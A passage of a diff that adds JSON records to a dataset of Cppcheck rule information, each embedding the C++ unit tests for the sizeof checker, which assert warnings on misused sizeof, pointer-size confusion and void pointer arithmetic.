buff1[1024*64],buff2[sizeof(buff1)*(2+1)];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void sizeofForNumericParameter() {\n check(\"void f() {\\n\"\n \" std::cout << sizeof(10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof(-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof 10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof -10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n }\n\n void suspiciousSizeofCalculation() {\n check(\"void f() {\\n\"\n \" int* p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unknown p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(unknown)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* p[5];\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning, inconclusive) Multiplying sizeof() with sizeof() indicates a logic error. [multiplySizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (end - source) / sizeof(encode_block_type) * sizeof(encode_block_type);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { T* t; };\\n\" // #10179\n \"int f(S* s) {\\n\"\n \" return g(sizeof(*s->t) / 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char* a[N];\\n\"\n \" for (int i = 0; i < (int)(sizeof(a) / sizeof(char*)); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int** p) {\\n\"\n \" return sizeof(p[0]) / 4;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" unsigned char* s;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s[38];\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" for (size_t i = 0; i < sizeof(t->s) / sizeof(t->s[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" struct T {\\n\"\n \" char* c[3];\\n\"\n \" } t[1];\\n\"\n \"};\\n\"\n \"void f(S* s) {\\n\"\n \" for (int i = 0; i != sizeof(s->t[0].c) / sizeof(char*); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t* buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(buf[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t*** buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(**buf[0]); i++) {}\\n\"\n \" for (int i = 0; i < len / sizeof(*buf[0][0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeof() {\n check(\"void f() {\\n\"\n \" char *x = malloc(10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = (int*)malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = static_cast(malloc(sizeof(x)));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(&x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int*));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \" int **y = malloc(sizeof(int*));\\n\"\n \" free(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x) * 100);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(*x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof *x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(int) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"int fun(const char *buf1)\\n\"\n \"{\\n\"\n \" const char *buf1_ex = \\\"foobarbaz\\\";\\n\"\n \" return strncmp(buf1, buf1_ex, sizeof(buf1_ex)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (warning) Size of pointer 'buf1_ex' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\n \"int fun(const char *buf1) {\\n\"\n \" return strncmp(buf1, foo(buf2), sizeof(buf1)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Size of pointer 'buf1' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"int fun(const char *buf2) {\\n\"\n \" return strncmp(buf1, buf2, sizeof(char*)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (warning) Size of pointer 'buf2' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n // #ticket 3874\n check(\"void f()\\n\"\n \"{\\n\"\n \" int * pIntArray[10];\\n\"\n \" memset(pIntArray, 0, sizeof(pIntArray));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void FreeFileName(const char *s) {\\n\"\n \" CxString tbuf;\\n\"\n \" const char *p;\\n\"\n \" memcpy(s, siezof(s));\\n\" // non-standard memcpy\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" module_config_t *tab = module;\\n\"\n \" memset(tab + confsize, 0, sizeof(tab[confsize]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char* aug) {\\n\"\n \" memmove(aug + extra_string, aug, buf - (bfd_byte *)aug);\\n\" // #7100\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7518\n check(\"bool create_iso_definition(cpp_reader *pfile, cpp_macro *macro) {\\n\"\n \" cpp_token *token;\\n\"\n \" cpp_hashnode **params = malloc(sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \" memcpy(params, macro->params, sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* foo() {\\n\"\n \" void* AtomName = malloc(sizeof(char *) * 34);\\n\"\n \" return AtomName;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeofStruct() {\n check(\"void f() {\\n\"\n \" struct foo *ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char bar[10];\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char *bar;\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (warning) Size of pointer 'bar' used instead of size of its data. [pointerSize]\\n\", errout_str());\n }\n\n void sizeofDivisionMemset() {\n check(\"void foo(memoryMapEntry_t* entry, memoryMapEntry_t* memoryMapEnd) {\\n\"\n \" memmove(entry, entry + 1, (memoryMapEnd - entry) / sizeof(entry));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:56]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\"\n \"[test.cpp:2:54]: (warning) Division by result of sizeof(). memmove() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\",\n errout_str());\n\n check(\"Foo* allocFoo(int num) {\\n\"\n \" return malloc(num / sizeof(Foo));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (warning) Division by result of sizeof(). malloc() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[100];\\n\"\n \" strncpy(str, xyz, sizeof(str)/sizeof(str[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #9648\n \" int a[5] = { 0 };\\n\"\n \" int b[5];\\n\"\n \" memcpy(b, a, ((sizeof(a) / sizeof(a[0])) - 1) * sizeof(a[0]));\\n\"\n \" memcpy(b, a, sizeof(a[0]) * ((sizeof(a) / sizeof(a[0])) - 1));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sizeofVoid() {\n check(\"void f() {\\n\"\n \" int size = sizeof(void);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (portability) Behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofVoid]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p;\\n\"\n \" int size = sizeof(*p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (portability) '*p' is of type 'void', the behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofDereferencedVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = p + 4;\\n\"\n \" int* p3 = p - 1;\\n\"\n \" int* p4 = 1 + p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:4:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1--;\\n\"\n \" p2++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1-=4;\\n\"\n \" p2+=4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = &p + 4;\\n\"\n \" int* p3 = &p - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1 = malloc(10);\\n\"\n \" p1--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1;\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1[5];\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Calculations on void* with casts\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)(data) + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)(data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)data++;\\n\"\n \" unsigned char* c2 = (unsigned char *)++data;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:43]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:3:40]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" void* data2 = data + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #4908 (void pointer as a member of a struct/class)\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)(foo.data+1));\\n\"\n \" foo.data++;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:30]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:6:11]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)foo.data+1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f2(struct FOO foo) {\\n\"\n \" char x = *((char*)((FOO)foo).data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f3(struct FOO* foo) {\\n\"\n \" char x = *((char*)foo->data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"struct BOO {\\n\"\n \" FOO data;\\n\"\n \"};\\n\"\n \"void f4(struct BOO* boo) {\\n\"\n \" char c = *((char*)boo->data.data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO* foo) {\\n\"\n \" *(foo[1].data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (portability) 'foo[1].data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"void f2(struct FOO* foo) {\\n\"\n \" (foo[0]).data++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (portability) '(foo[0]).data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #6050 arithmetic on void**\n check(\"void* array[10];\\n\"\n \"void** b = array + 3;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void customStrncat() {\n // Ensure we don't crash on custom-defined strncat, ticket #5875\n check(\"char strncat ();\\n\"\n \"int main () {\\n\"\n \" return strncat ();\\n\"\n \"}\");\n }\n\n};\n\nREGISTER_TEST(TestSizeof)\n\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/suspiciousSizeofCalculation.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/suspiciousSizeofCalculation.json new file mode 100644 index 0000000..fde706d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/suspiciousSizeofCalculation.json @@ -0,0 +1,22 @@ +{ + "name": "suspiciousSizeofCalculation", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 26, + "branches": 9, + "apis": 35, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 361 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checksizeof.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestSizeof : public TestFixture {\npublic:\n TestSizeof() : TestFixture(\"TestSizeof\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).certainty(Certainty::inconclusive).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(sizeofsizeof);\n TEST_CASE(sizeofCalculation);\n TEST_CASE(sizeofFunction);\n TEST_CASE(checkPointerSizeof);\n TEST_CASE(checkPointerSizeofStruct);\n TEST_CASE(sizeofDivisionMemset);\n TEST_CASE(sizeofForArrayParameter);\n TEST_CASE(sizeofForNumericParameter);\n TEST_CASE(suspiciousSizeofCalculation);\n TEST_CASE(sizeofVoid);\n TEST_CASE(customStrncat);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size]) {\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenize..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n void sizeofsizeof() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof sizeof char;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof long);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo(long *p)\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof (p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n }\n\n void sizeofCalculation() {\n check(\"int a, b; int a,sizeof(a+b)\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(a*b)\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(-a)\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(*a)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(void * const)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(int*[2])\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(Fred**)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(foo++)\");\n ASSERT_EQUALS(\"[test.cpp:1:11]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"sizeof(--foo)\");\n ASSERT_EQUALS(\"[test.cpp:1:8]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n // #6888\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"#define VOIDCAST1 (void)\\n\"\n \"#define VOIDCAST2(SZ) static_cast(SZ)\\n\"\n \"int f(int i) {\\n\"\n \" VOIDCAST1 SIZEOF1;\\n\"\n \" VOIDCAST1 SIZEOF2;\\n\"\n \" VOIDCAST2(SIZEOF1);\\n\"\n \" VOIDCAST2(SIZEOF2);\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"int f(int i) {\\n\"\n \" SIZEOF1;\\n\"\n \" SIZEOF2;\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\"\n \"[test.cpp:5:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n checkP(\"#define MACRO(data) f(data, sizeof(data))\\n\"\n \"x = 